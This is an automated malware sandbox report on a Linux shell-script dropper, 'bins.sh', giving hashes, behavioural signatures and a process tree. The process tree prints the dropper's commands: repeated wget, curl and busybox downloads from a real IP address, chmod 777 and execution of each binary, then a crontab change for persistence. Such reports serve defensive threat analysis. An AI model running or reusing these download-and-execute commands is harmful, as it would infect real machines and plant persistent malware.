Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    be05ee3cea44d55ae008c8cd4c6da21b

  • SHA1

    fe4eeb6f208e3888654998b50aef8135758b80fb

  • SHA256

    e77318536a44e8986f54eab60f8dc6e7e569080b0f89edaebfd2ab20cb3ffc78

  • SHA512

    aa08f3f8910fad51ab9bd2d280969d6c8c90bd5d0638231fe5f49fd8135768a547c92b0c01b4d792736658b2fc4b674296c33451ccc806401b769c7d6c66c4df

  • SSDEEP

    96:vvS29pZaS5sg0k40ZUVJBH3k5lVUMA++6IUR1NQgSdg0k40ZoHm9pZaSpO0H3Ho6:vvn2bVJiuE1P

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1499
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1500
        • /usr/bin/wget
          wget http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Writes file to tmp directory
          PID:1501
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/chmod
          chmod 777 cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          ./cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Executes dropped EXE
          PID:1508
        • /bin/rm
          rm cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
            PID:1510
          • /usr/bin/wget
            wget http://216.126.231.240/bins/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/chmod
            chmod 777 d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
            • File and Directory Permissions Modification
            PID:1514
          • /tmp/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            ./d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
            • Executes dropped EXE
            PID:1515
          • /bin/rm
            rm d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
            2⤵
              PID:1517
            • /usr/bin/wget
              wget http://216.126.231.240/bins/raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
              • Writes file to tmp directory
              PID:1518
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/chmod
              chmod 777 raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
              • File and Directory Permissions Modification
              PID:1521
            • /tmp/raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              ./raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
              • Executes dropped EXE
              PID:1522
            • /bin/rm
              rm raOBTbUev5xvE5LzRZeg08OYeTktgdT13g
              2⤵
                PID:1524
              • /usr/bin/wget
                wget http://216.126.231.240/bins/zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/chmod
                chmod 777 zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                • File and Directory Permissions Modification
                PID:1528
              • /tmp/zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                ./zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                • Executes dropped EXE
                PID:1529
              • /bin/rm
                rm zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX
                2⤵
                  PID:1531
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  2⤵
                  • Writes file to tmp directory
                  PID:1532
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  2⤵
                  • Writes file to tmp directory
                  PID:1534
                • /bin/chmod
                  chmod 777 RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1535
                • /tmp/RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  ./RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1536
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1538
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1539
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1540
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1541
                      • /bin/rm
                        rm RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF
                        2⤵
                          PID:1543
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/HnbAm4vP7KMjZZtVg4mmEAZTAR3JT4ZB44
                          2⤵
                            PID:1546

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/RvR5By3DjcJTw8V9IAJ2jJJHWKf3oxVQsF

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/raOBTbUev5xvE5LzRZeg08OYeTktgdT13g

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/zphM9f2rLTnkeYqhcqtNDZf76cUeM0fycX

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /var/spool/cron/crontabs/tmp.UTzXdp

                          Filesize

                          210B

                          MD5

                          c1261db7ae288bfc32e17433aa0dff53

                          SHA1

                          c6583331e6c3fed8105d74d6fc00ec329709903f

                          SHA256

                          65aa6159134fb363197f83bd430c396a483772b68c58db691e3be509942811a9

                          SHA512

                          975fcc6d4c61e03a36479a1689f6fbba0fb5e783787225077b75d6ad746443da6081b43656615875dba02624f5348f32c47e7566ef947ece4258c4a127288172